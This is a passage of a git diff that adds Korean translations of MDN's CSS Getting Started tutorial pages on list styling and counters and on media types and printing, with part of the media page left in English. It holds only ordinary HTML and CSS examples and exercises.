+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Content", "내용물") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 10번째 장; 이번 장에서는 CSS에서 리스트를 어떻게 보여줄 것인지  설정하는 법에 대해 알아보자. 리스트를 포함하는 새로운 예제 Document를 생성하고, 리스트 스타일을 위한 새로운 stylesheet도 생성하라.</p>
+<h2 class="clearLeft" id="정보_리스트">정보: 리스트</h2>
+<p><a href="/en-US/docs/CSS/Getting_Started/Content" title="/en-US/docs/CSS/Getting_Started/Content">지난 섹션</a>에서 도전과제를 해결했다면, 어떤 elememt 앞에 리스트 아이템처럼 보여지는 내용물을 추가 하는 법을 보았을 것이다.</p>
+<p>CSS는 리스트를 위한 특별한 속성을 제공한다. 이는 무엇보다도 사용하기 편리한 방법이다.</p>
+<p>리스트 속성을 지정 하려면, {{ cssxref("list-style") }} 속성을 통해 마커 타입을 지정하라.</p>
+<p>CSS에 있는 설렉터 규칙은 리스트 아이템 element를 선택 할 수도 있고(예를 들면, {{ HTMLElement("li") }}) 부모 리스트 element도 선택 가능하다. (예를 들면 {{ HTMLElement ("ul") }}) 리스트 element도 스타일을 상속 받는다.</p>
+<h3 id="무순서_리스트">무순서 리스트</h3>
+<p><em>무순서</em> 리스트에서는, 각 리스트 아이템들이 같은 방식으로 mark된다.</p>
+<p>CSS는 세가지 방법의 마커가 있다. 브라우저에서는 다음과 같이 보여진다.</p>
+<ul style="padding-left: 2em;">
+ <li style="list-style-type: disc;"><code>disc</code></li>
+ <li style="list-style-type: circle;"><code>circle</code></li>
+ <li style="list-style-type: square;"><code>square</code></li>
+</ul>
+<p>다른 이미지도 URL로 설정 가능하다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>아래 규칙은 서로 다른 class의 리스트 아이템에 서로 다른 마커를 사용하고 있다.</p>
+ <pre class="brush:css">li.open {list-style: circle;}
+li.closed {list-style: disc;}
+</pre>
+ <p>When these classes are used in a list, they distinguish between open and closed items (for example, in a to-do list):</p>
+ <pre class="brush:css">&lt;ul&gt;
+ &lt;li class="open"&gt;Lorem ipsum&lt;/li&gt;
+ &lt;li class="closed"&gt;Dolor sit&lt;/li&gt;
+ &lt;li class="closed"&gt;Amet consectetuer&lt;/li&gt;
+ &lt;li class="open"&gt;Magna aliquam&lt;/li&gt;
+ &lt;li class="closed"&gt;Autem veleum&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+ <p>위 코드는 아래처럼 보여질 것이다.</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <ul style="padding-right: 6em;">
+ <li style="list-style-type: circle;">Lorem ipsum</li>
+ <li style="list-style-type: disc;">Dolor sit</li>
+ <li style="list-style-type: disc;">Amet consectetuer</li>
+ <li style="list-style-type: circle;">Magna aliquam</li>
+ <li style="list-style-type: disc;">Autem veleum</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h3 id="순차_리스트">순차 리스트</h3>
+<p>순차리스트는 각 리스트 아이템이 순차적으로 순서가 표시된 마커와 보여진다.</p>
+<p>{{ cssxref("list-style") }}속성으로 마커 타입을 설정 하라.</p>
+<ul style="padding-left: 2em;">
+ <li style=""><code>decimal</code></li>
+ <li style=""><code>lower-roman</code></li>
+ <li style=""><code>upper-roman</code></li>
+ <li style=""><code>lower-latin</code></li>
+ <li style=""><code>upper-latin</code></li>
+</ul>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>이 예제에서는 'info' class의 {{ HTMLElement("ol") }} elements에서, 아이템들이 대문자 순차 마커로 표시된다.</p>
+ <pre class="brush:css">ol.info {list-style: upper-latin;}
+</pre>
+ <p>아래 리스트 내의 {{ HTMLElement("li") }} element는 위의 스타일을 상속한다.</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <ul>
+ <li style="padding-right: 6em; list-style-type: upper-latin;">Lorem ipsum</li>
+ <li style="padding-right: 6em; list-style-type: upper-latin;">Dolor sit</li>
+ <li style="padding-right: 6em; list-style-type: upper-latin;">Amet consectetuer</li>
+ <li style="padding-right: 6em; list-style-type: upper-latin;">Magna aliquam</li>
+ <li style="padding-right: 6em; list-style-type: upper-latin;">Autem veleum</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div class="tuto_details">
+ <div class="tuto_type">
+ 좀더 자세히</div>
+ <p>{{ cssxref("list-style") }}속성은 약어이다. 다소 복잡한 stylesheet에서는 속성과 그 값을 분리해서 사용하기를 원할 수 있다. 이 분리된 속성을 연결하는 방법이나 CSS에서 리스트에 더 자세한 설정법을 알려면{{ cssxref("list-style") }} 참조 페이지를 확인하라.</p>
+ <p>만약 HTML같은 관습적인 태그 비순차 리스트 아이템({{ HTMLElement("ul") }})와 순차 리스트 아이템({{ HTMLElement("ol") }})를 제공하는 마크업 언어를 사용한다면, 그 태그를 써서 쉽게 연습 해 볼 수 있다. 어쨌던 CSS써서 {{ HTMLElement("ul") }}를 순차 표시 할수 있고 {{ HTMLElement("ol") }} 를 통해 비순차를 원한다면 표시 할 수도 있다.</p>
+ <p>브라우저마다 리스트 스타일을 보여주는 자체 방식이 있다. Stylesheet로 모든 브라우저에서 동일하게 보여지는 것을 기대하지는 마라.</p>
+</div>
+<h3 id="카운터">카운터</h3>
+<div style="border: 1px solid red; padding: 6px; margin: 0 0 .5em -6px; width: 100%;">
+ <p><strong>참고: </strong> 일부 브라우저는 카운터를 지원하지 않는다. <a class="external" href="http://www.quirksmode.org/" title="http://www.quirksmode.org/">Quirks Mode site의 </a><a class="external" href="http://www.quirksmode.org/css/contents.html" title="http://www.quirksmode.org/css/contents.html">CSS 내용물과 브라우저 호환성</a> 페이지에 브라우저 호환 차트와 CSS의 다른 기능에 대한 호환성을 확인 할 수 있다. 이 사이트 <a href="/en/CSS_Reference" title="https://developer.mozilla.org/en/CSS_Reference">CSS 참조Reference</a>의 individual page(?)에는 브라우저 호환성 테이블도 확인 할 수 있다.</p>
+</div>
+<p>리스트 아이템 나열 뿐 아니라 Element를 순위매김 하기 위해 카운터를 사용할 수 있다. 예를 들어, documents내에서 머릿말니아 단락의 순서를 표시 하고 싶을때 사용 가능하다.</p>
+<p>순위 매김을 사용하려면 카운터에 이름을 할당하여 사용하면 된다.</p>
+<p>element에 순위메김 추가를 시작하기 전에 {{ cssxref("counter-reset") }}속성으로 초기화 하고 사용하고자 하는 카운터 이름을 쓰라. 카운터를 사용하는 elements의 부모에다 초기화 과정을 적용하는 것이 좋다. 그러나, 리스트 아이템 시작하기 전 어느 element에서든 초기화를 사용해도 된다.</p>
+<p>카운터가 증가하는 각 element에서, {{ cssxref("counter-increment") }} 속성을 사용하여 증가 하고 증가 하고자 하는 이름도 표시하라.</p>
+<p>카운터를 표시하기 위해서는 {{ cssxref(":before") }}나 {{ cssxref(":after") }} 설렉터를 써서 <code>content속성을 사용하여라.</code>(이전 페이지에서, <strong><a href="/en/CSS/Getting_Started/Content" title="en/CSS/Getting_Started/Content">Content</a></strong>사용에 대해 참고하라).</p>
+<p><code>content</code> 속성 값에 <code>counter()카운터 이름과 함께 사용하라.</code> 선택적으로 타입도 명시 가능하다. 타입은 위에서 언급한 <strong>Ordered lists</strong> 섹션에 나온것과 같다.</p>
+<p>보통 카운터를 표시하는 element도 하나씩 카운터 값이 증가 한다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>이 규칙은 class가 'numbered'인 모든 {{ HTMLElement("h3") }} element의 카운터를 초기화 한다.</p>
+ <pre class="brush:css">h3.numbered {counter-reset: mynum;}
+</pre>
+ <p> </p>
+ <p>이 아래 규칙은 모든 'numbered' class의 {{ HTMLELement("p") }} element에 카운터 값을 표시하고 그 값을 증가 시킨다.</p>
+ <pre class="brush:css">p.numbered:before {
+ content: counter(mynum) ": ";
+ counter-increment: mynum;
+ font-weight: bold;}
+</pre>
+ <p>결과는 아래와 같다.</p>
+ <table style="border: 2px outset #36b; padding: .5em 6em .5em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td><strong>Heading</strong><br>
+ <p><strong>1: </strong>Lorem ipsum</p>
+ <p><strong>2: </strong>Dolor sit</p>
+ <p><strong>3: </strong>Amet consectetuer</p>
+ <p><strong>4: </strong>Magna aliquam</p>
+ <p><strong>5: </strong>Autem veleum</p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div class="tuto_details">
+ <div class="tuto_type">
+ 좀더 자세히</div>
+ <p>카운터가 지원되지 않는 브라우저에서는 카운터를 사용 할 수 없다.</p>
+ <p>카운터가 사용 가능하다면 카운터로 리스트아이템에서 지원 되는 것처럼 별도로 다른 내용물에 순위매김을 사용 할 수 있다. 예를 들면 위에서 처럼, 카운터는 굵은 글씨로 그외 아이템은 정상 글씨로 가능하다.</p>
+ <p>좀더 다양한 방법으로 카운터를 사용 할 수 있는데 —예를 들면, 형식적인 Document의 순서 섹션, 머릿말, 보조 머릿말과 단락등에서 사용 가능하다. 자세한 사항은 CSS사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> 를 확인 하라.</p>
+</div>
+<h2 id="액션_화려한_리스트">액션: 화려한 리스트</h2>
+<p><code>새로이 doc2.html</code>파일을 만들어라. 아래 코드를 복사하라.</p>
+<pre class="brush:html;">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8"&gt;
+ &lt;title&gt;Sample document 2&lt;/title&gt;
+ &lt;link rel="stylesheet" href="style2.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+
+ &lt;h3 id="oceans"&gt;The oceans&lt;/h3&gt;
+ &lt;ul&gt;
+ &lt;li&gt;Arctic&lt;/li&gt;
+ &lt;li&gt;Atlantic&lt;/li&gt;
+ &lt;li&gt;Pacific&lt;/li&gt;
+ &lt;li&gt;Indian&lt;/li&gt;
+ &lt;li&gt;Southern&lt;/li&gt;
+ &lt;/ul&gt;
+
+ &lt;h3 class="numbered"&gt;Numbered paragraphs&lt;/h3&gt;
+ &lt;p class="numbered"&gt;Lorem ipsum&lt;/p&gt;
+ &lt;p class="numbered"&gt;Dolor sit&lt;/p&gt;
+ &lt;p class="numbered"&gt;Amet consectetuer&lt;/p&gt;
+ &lt;p class="numbered"&gt;Magna aliquam&lt;/p&gt;
+ &lt;p class="numbered"&gt;Autem veleum&lt;/p&gt;
+
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><code>style2.css</code>를 만들어 아래 내용을 복사하라.</p>
+<pre class="brush:css;">/* numbered paragraphs */
+h3.numbered {counter-reset: mynum;}
+
+p.numbered:before {
+ content: counter(mynum) ": ";
+ counter-increment: mynum;
+ font-weight: bold;
+}
+</pre>
+<p>배치와 주석이 맘에 들지 않으면 마음대로 변경하라.</p>
+<p>브라우저에서 열어보라. 만약 브라우저가 카운터를 지원 한다면 아래 예제와 같이 보일 것이다. 브라우저가 지원하지 않는다면 숫자는 보이지 않을 것이다. (콜론도 보이지 않을 것이다.)</p>
+<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+ <ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+ </ul>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Numbered paragraphs</p>
+ <p><strong>1: </strong>Lorem ipsum</p>
+ <p><strong>2: </strong>Dolor sit</p>
+ <p><strong>3: </strong>Amet consectetuer</p>
+ <p><strong>4: </strong>Magna aliquam</p>
+ <p><strong>5: </strong>Autem veleum</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 도전</div>
+ <p>예제 stylesheet에 대양 표시 앞에 로마숫자로 i에서 v까지 나타나도록 추가 해 보라.</p>
+ <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">The oceans</p>
+ <ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <p> </p>
+ <p>예제 stylesheet를 아래와 같이 대문자가 단락앞에 나오도록 만들어 보라.</p>
+ <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(A) The oceans</p>
+ <p><strong>. . .</strong></p>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(B) Numbered paragraphs</p>
+ <p><strong>. . .</strong></p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Lists" title="en/CSS/Getting started/Challenge solutions#Lists">정답 확인.</a></p>
+<h2 id="다음에는">다음에는?</h2>
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Boxes", "상자") }}브라우저에서 예제 Document를 표시할때, element를 페이지에 element 주변으로 공간을 만든다. 다음장에서는 CSS가 어떻게 element아래쪽에 놓인 박스 모양과 동작하는지 설명한다(<a href="/en/CSS/Getting_Started/Boxes" title="en/CSS/Getting_Started/Boxes">boxes</a>.xm).</p>
diff --git a/files/ko/web/css/시작하기/미디어/index.html b/files/ko/web/css/시작하기/미디어/index.html
new file mode 100644
index 0000000000..2c9fceaca0
--- /dev/null
+++ b/files/ko/web/css/시작하기/미디어/index.html
@@ -0,0 +1,346 @@
+---
+title: 미디어
+slug: Web/CSS/시작하기/미디어
+translation_of: Web/Progressive_web_apps/Responsive/Media_types
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+ <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/21)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Tables", "테이블") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서의 14번쨰 장. 지금까지 이번 안내서에서는 많은 부분을 Document를 어떻게 보여 줄것인지 결정하는 CSS의 속성과 변수에 관해 소개 했다. 이번에는 Stylesheet의 구조와 목적에 대해 다시 살펴 보자.</p>
+<h2 class="clearLeft" id="정보_미디어">정보 : 미디어</h2>
+<p>CSS의 목적은 Document가 사용자에게 어떻게 보여질 것인가를 설정하는 것이다. 전시되는 형태는 하나 이상의 형식이 있다.</p>
+<p>예를 들면, 아마도 이 페이지도 화면 표시 장치를 통해 보여질 것이다. 그러나 큰 화면용으로 프로젝터나 프린트해서 보는 경우도 있을 것이다. 이런 다양한 미디어의 경우 그 고유의 문자셋같은 특징이 있을 것이다. CSS는 document를 각각의 미디어에 표시하기 위한 다양한 방법을 제공한다.</p>
+<p>미디어의 특정 타입을 정하는 규칙을 추가 하려면 {{ CSSXref("@media") }} 다음에 미디어 타입 넣고, 그 다음에 대괄호({})로 해당 규칙을 추가 하라.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>웹사이트에 있는 document는 그 사이트 전체를 살펴볼수 있도록 조절 할 수 있는 영역을 제공한다.</p>
+ <p>마크업 언어에서는, 조정영역의 부모 element의 <strong>id</strong>가 <code>nav-area</code>이다. ({{ HTMLVersionInline(5) }}에서는 <strong>id</strong> 속성이 포함된 {{ HTMLElement("div") }}대신에 {{ HTMLElement("nav") }} element로 사용 할 수 있다.)</p>
+ <p>Document가 프린트 될 경우는 이 조정 영역이 필요 없으므로 stylesheet에서는 완전히 이 영역을 제거한다.</p>
+ <pre class="brush:css">@media print {
+ #nav-area {display: none;}
+ }
+</pre>
+</div>
+<p>일반적인 미디어 타입은 아래와 같다.</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>screen</code></td>
+ <td>컬러 컴퓨터 표시 장치</td>
+ </tr>
+ <tr>
+ <td><code>print</code></td>
+ <td>출력 장치</td>
+ </tr>
+ <tr>
+ <td style="padding-right: 1em;"><code>projection</code></td>
+ <td>프로젝트 출력 장치</td>
+ </tr>
+ <tr>
+ <td><code>all</code></td>
+ <td>그외 모든 미디어 장치(기본 설정)</td>
+ </tr>
+ </tbody>
+</table>
+<div class="tuto_details">
+ <div class="tuto_type">
+ 좀더 자세히</div>
+ <p>한 무리의 규칙들의 미디어 타입을 설정하는데는 다른 방법들도 있다.</p>
+ <p>Stylesheet가 document로 연결되어 있을때 document의 마크업 언어는 미디어 타입을 설정하는 것을 허용한다. 예를 들면, HTML내의 <code>LINK</code> 태그에서 <code>media속성으로 옵션항목으로 미디어 타입을 설정 할 수 있다.</code></p>
+ <p>CSS에서 stylesheet의 앞부분에 {{ CSSXref("@import") }}로 URL로 부터 다른 stylesheet를 불러 올 수 있다. 추가적으로 미디어 타입도 사용 가능하다.</p>
+ <p>이와 같은 규직으로, 미디어 타입별로 다른 파일에 분리하여 관리 가능하다. 이렇게 함으로써 stylesheet를 구조화하는데 유용하게 사용한다.</p>
+ <p>좀더 자세한 미디어 타입에 대해서는 CSS의 사양서중 <a class="external" href="http://www.w3.org/TR/CSS21/media.html">Media</a>를 참고하라.</p>
+ <p>{{ cssxref("display") }}속성에 대해서 좀더 자세한 사항은 이 안내서 나중에 소개될 <a href="/en/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">XML data</a>를 참고하라.</p>
+</div>
+<h3 id="출력">출력</h3>
+<p>CSS에는 인쇄 매체나 프린터 출력을 위한 특별 지원을 한다</p>
+<p>{{ cssxref("@page") }} 규칙을 통해 여백을 설정할 수 있다. 양면출력을 위해서는 <code>@page:left</code>와 <code>@page:right</code>로 각각의 여백을 개별로 설정 할 수 있다.</p>
+<p>출력 매체를 위해 사용되는 단위는 인치 (<code>in</code>), 포인트(<code>pt</code> = 1/72 inch), 센티미터(<code>cm</code>)와 밀리미터(<code>mm</code>)등을 사용 할 수 있다. 글자 크기 설정과 맞추기 위해 사용하는 ems(em)과 퍼센트(%)도 사용하기에 적절하다.</p>
+<p>Document의 내용중 페이지 분할을 위해서는 { cssxref("page-break-before") }}나 {{ cssxref("page-break-after") }}, {{ cssxref("page-break-inside") }}속성을 사용할 수 있다.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ 예제</div>
+ <p>아래 예제는 페이지 여백 4방향 모두를 1인치로 설정한다.</p>
+ <pre class="brush:css">@page {margin: 1in;}
+</pre>
+ <p> </p>
+ <p>아래 규칙은 모든 H1 element는 새 페이지에서 시작하도록 한다.</p>
+ <pre class="brush:css">h1 {page-break-before: always;}
+</pre>
+</div>
+<div class="tuto_details">
+ <div class="tuto_type">
+ 좀더 자세히</div>
+ <p>CSS의 출판 매체 지원에 대한 사항은 CSS사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/page.html">Paged media</a>를 확인 하라.</p>
+ <p>CSS의 다른 특징처럼 프린트 출력도 브라우저의 설정에 따라 다르다. 예를 들어 모질라 브라주저는 프린트 출력시 기본 바깥 여백과 머릿말, 꼬릿말이 지원된다. 사용자가 어떤 브라우저를 사용하는지, 그 브라우저의 설정값 또한 알수 없기 때문에 해당 페이지 출력물 결과를 알수 없다.</p>
+</div>
+<h3 id="사용자_인터페이스">사용자 인터페이스</h3>
+<p>CSS는 컴퓨터 모니터같은 표시장치를 위한 특별한 사용자 인터페이스를 지원한다. 이 속성으로 Document를 동적으로 사용자가 사용자 인터페이스로 동작 할 수 있도록 변경한다.</p>
+<p>사용자 인터페이스 장치에 대한 특별한 미디어 타입은 없다.</p>
+<p>단지 5가지 설렉터가 있을 뿐이다.</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>설렉터</strong></td>
+ <td><strong>선택</strong></td>
+ </tr>
+ <tr>
+ <td><code>E{{ cssxref(":hover") }}</code></td>
+ <td>포인터가 E로 명시된 element위에 놓일 경우</td>
+ </tr>
+ <tr>
+ <td><code>E{{ cssxref(":focus") }}</code></td>
+ <td>키보드 포커스를 가진 E element</td>
+ </tr>
+ <tr>
+ <td><code>E{{ cssxref(":active") }}</code></td>
+ <td>사용자 현재 동작에 개임된 E element</td>
+ </tr>
+ <tr>
+ <td><code>E{{ cssxref(":link") }}</code></td>
+ <td>최근에 방문하지 않은 URL을 가진 Hyperlink인 E element</td>
+ </tr>
+ <tr>
+ <td><code>E{{ cssxref(":visited") }}</code></td>
+ <td>최근에 방문한 URL을 가진 Hyperlink인 E element</td>
+ </tr>
+ </tbody>
+</table>
+<div class="note">
+ <p><strong>주의: </strong>:visited 설렉터에서 획득한 정보는 {{ gecko("2.0") }}에만 해당된다. 좀더 자세한 사항은 <a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a>을 보라.</p>
+</div>
+<p>{{ cssxref("cursor") }}속성은 포인터의 모양을 설정한다. 몇몇 일반적인 모양은 다음과 같다. 브라우저에서 마우스를 아래 리스트에 각각 아이템으로 옮기면 그 모양을 확인 할 수 있다.</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>설렉터</strong></td>
+ <td><strong>선택</strong></td>
+ </tr>
+ <tr style="cursor: pointer;">
+ <td><code>pointer</code></td>
+ <td>링크임을 나타낼때</td>
+ </tr>
+ <tr style="cursor: wait;">
+ <td><code>wait</code></td>
+ <td>프로그램이 실행중이라 입력을 받지 못하는 상태일때</td>
+ </tr>
+ <tr style="cursor: progress;">
+ <td><code>progress</code></td>
+ <td>프로그램이 작업을 수행하고 있지만 입력을 받을 수 있는 상태</td>
+ </tr>
+ <tr style="cursor: default;">
+ <td><code>default</code></td>
+ <td>기본 상태(보통 화살표 모양)</td>
+ </tr>
+ </tbody>
+</table>
+<p>{{ cssxref("outline") }}속성은 키보드 포커스를 가리키는 외곽선을 생성할때 사용한다. 그 값은 사용자가 방향을 설정할 수 없다는 것을 제외하고는 {{ cssxref("border") }}속성과 유사하다.</p>
+<p>Some other features of user interfaces are implemented using attributes, in the normal way. For example, an element that is disabled or read-only has the <strong>disabled</strong> attribute or the <strong>readonly</strong> attribute. Selectors can specify these attributes like any other attributes, by using square brackets: <code>{{ mediawiki.external('disabled') }}</code> or <code>{{ mediawiki.external('readonly') }}</code>.</p>
+<div class="tuto_example">
+ <div class="tuto_type">
+ Example</div>
+ <p>These rules specify styles for a button that changes dynamically as the user interacts with it:</p>
+ <pre class="brush:css">.green-button {
+ background-color:#cec;
+ color:#black;
+ border:2px outset #cec;
+ }
+
+.green-button[disabled] {
+ background-color:#cdc;
+ color:#777;
+ }
+
+.green-button:active {
+ border-style: inset;
+ }
+</pre>
+ <p> </p>
+ <p>This wiki does not support a user interface on the page, so these buttons do not "click". Here are some static images to illustrate the idea:</p>
+ <table style="border: 2px outset #36b; padding: 1em; background-color: #fff;">
+ <tbody>
+ <tr>
+ <td>
+ <table>
+ <tbody>
+ <tr>
+ <td><span style="width: 8em; height: 2em; background-color: #cdc; color: #777; padding: .5em 1em; cursor: default; margin-right: 1em; border: 2px outset #cec;">Click Me</span></td>
+ <td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px outset #cec;">Click Me</span></td>
+ <td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px inset #cec;">Click Me</span></td>
+ </tr>
+ <tr style="line-height: 25%;">
+ <td> </td>
+ </tr>
+ <tr style="font-style: italic;">
+ <td>disabled</td>
+ <td>normal</td>
+ <td>active</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <p> </p>
+ <p>A fully functional button also has a dark outline around the entire button when it is the default, and a dotted outline on the face of the button when it has keyboard focus. It might also have a hover effect when the pointer is over it.</p>
+</div>
+<div class="tuto_details">
+ <div class="tuto_type">
+ More details</div>
+ <p>For more information about user interfaces in CSS, see <a class="external" href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> in the CSS Specification.</p>
+ <p>There is an example of Mozilla's markup language for user interfaces, XUL, in Part II of this tutorial.</p>
+</div>
+<h2 id="Action_Printing_a_document">Action: Printing a document</h2>
+<ol>
+ <li>Make a new HTML document, <code>doc4.html</code>. Copy and paste the content from here:
+ <pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Print sample&lt;/title&gt;
+ &lt;link rel="stylesheet" href="style4.css"&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;h1&gt;Section A&lt;/h11&gt;
+ &lt;p&gt;This is the first section...&lt;/p&gt;
+ &lt;h1&gt;Section B&lt;/h1&gt;
+ &lt;p&gt;This is the second section...&lt;/p&gt;
+ &lt;div id="print-head"&gt;
+ Heading for paged media
+ &lt;/div&gt;
+ &lt;div id="print-foot"&gt;
+ Page:
+ &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li>Make a new stylesheet, <code>style4.css</code>. Copy and paste the content from here:
+ <pre class="brush:css">/*** Print sample ***/
+
+/* defaults for screen */
+#print-head,
+#print-foot {
+ display: none;
+ }
+
+/* print only */
+@media print {
+
+h1 {
+ page-break-before: always;
+ padding-top: 2em;
+ }
+
+h1:first-child {
+ page-break-before: avoid;
+ counter-reset: page;
+ }
+
+#print-head {
+ display: block;
+ position: fixed;
+ top: 0pt;
+ left:0pt;
+ right: 0pt;
+
+ font-size: 200%;
+ text-align: center;
+ }
+
+#print-foot {
+ display: block;
+ position: fixed;
+ bottom: 0pt;
+ right: 0pt;
+
+ font-size: 200%;
+ }
+
+#print-foot:after {
+ content: counter(page);
+ counter-increment: page;
+ }
+
+} /* end print only */
+</pre>
+ </li>
+ <li>View this document in your browser; it uses your browser's default style.</li>
+ <li>Print (or print preview) the document; the stylesheet places each section on a separate page, and it adds a header and footer to each page. If your browser supports counters, it adds a page number in the footer.
+ <table>
+ <tbody>
+ <tr>
+ <td>
+ <table style="border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <table style="width: 15em; margin-right: 2em;">
+ <tbody>
+ <tr>
+ <td>
+ <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">
+ Heading for paged media</div>
+ <div style="font-size: 150%; font-weight: bold;">
+ Section A</div>
+ <div style="font-size: 75%;">
+ This is the first section...</div>
+ <div style="font-size: 150%; text-align: right; margin-top: 12em;">
+ Page: 1</div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>
+ <table style="border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <table style="width: 15em; margin-right: 2em;">
+ <tbody>
+ <tr>
+ <td>
+ <div style="font-size: 110%; text-align: center; margin-bottom: .5em;">
+ Heading for paged media</div>
+ <div style="font-size: 150%; font-weight: bold;">
+ Section B</div>
+ <div style="font-size: 75%;">
+ This is the second section...</div>
+ <div style="font-size: 150%; text-align: right; margin-top: 12em;">
+ Page: 2</div>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </li>
+</ol>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;">
+ <caption>
+ Challenges</caption>
+ <tbody>
+ <tr>
+ <td>Move the print-specific style rules to a separate CSS file.
+ <p>Read the {{ CSSXref("@import") }} reference page to find details of how to import the new print-specific CSS file into your <code>style4.css</code> stylesheet.</p>
+ <p>Make the headings turn blue when the mouse pointer is over them.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> <a href="/en/CSS/Getting_Started/Challenge_solutions#Media" title="https://developer.mozilla.org/en/CSS/Getting_started/Challenge_solutions#Media">See solutions to these challenges.</a></p>
+<h2 id="What_next">What next?</h2>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a href="/Talk:en/CSS/Getting_Started/Media" title="Talk:en/CSS/Getting_Started/Media">Discussion</a> page.</p>
+<p>So far, all the style rules in this tutorial have been specified in files. The rules and their values are fixed. The next page describes how you can change rules dynamically by using a programming language: <strong><a href="/en/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></strong></p>
diff --git a/files/ko/web/css/시작하기/배치/index.html b/files/ko/web/css/시작하기/배치/index.html
new file mode 100644
index 0000000000..0b39699419
--- /dev/null
+++ b/files/ko/web/css/시작하기/배치/index.html
@@ -0,0 +1,369 @@
+---
+title: 배치
+slug: Web/CSS/시작하기/배치
+translation_of: Learn/CSS/CSS_layout
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
